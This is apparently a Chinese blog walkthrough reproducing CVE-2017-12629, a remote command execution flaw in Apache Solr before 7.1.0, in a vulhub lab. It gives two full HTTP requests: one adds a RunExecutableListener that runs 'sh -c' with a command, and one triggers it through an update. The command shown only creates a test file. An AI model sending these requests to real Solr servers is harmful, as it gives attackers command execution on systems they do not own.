vulhub中Apache Solr 远程命令执行漏洞复现(CVE-2017-12629)

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:[XML实体扩展漏洞(XXE)](https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

访问`http://your-ip:8983/\`即可查看到Apache solr的管理页面,无需登录

首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

复制代码
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

然后进行update操作,触发刚才添加的listener:

复制代码
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

执行`docker compose exec solr bash`进入容器,可见`/tmp/success`已成功创建:

相关推荐
risc1234567 小时前
【lucene】PostingsEnum跟TermsEnum 的区别是啥?
java·lucene
risc12345611 小时前
SegmentTermsEnum#postings 和 IntersectTermsEnum#postings
算法·lucene
运维全栈笔记2 天前
Linux安装配置Tomcat保姆级教程:从部署到性能调优
linux·服务器·中间件·tomcat·apache·web
❀͜͡傀儡师2 天前
Apache Doris 4.0.0 存算分离手动部署指南
apache·doris 4.0
星辰徐哥3 天前
Unity基础:游戏对象的激活与隐藏:SetActive方法详解
游戏·unity·lucene
星辰徐哥3 天前
Unity C#入门:变量的定义与访问权限(public/private)
unity·c#·lucene
SuperherRo4 天前
服务攻防-Java组件安全&Solr搜索&Shiro鉴权&Log4j日志&JDK高版本绕过&CVE历史漏洞
java·log4j·solr·shiro·cve
risc1234564 天前
writeBlocks
lucene
DolphinScheduler社区5 天前
DolphinScheduler 3.3.2 如何调用 DataX 3.0 + SeaTunnel 2.3.12?附 Demo演示!
java·spark·apache·海豚调度·大数据工作流调度
YaBingSec5 天前
玄机网络安全靶场:Apache HTTPD 解析漏洞(CVE-2017-15715)WP
java·笔记·安全·web安全·php·apache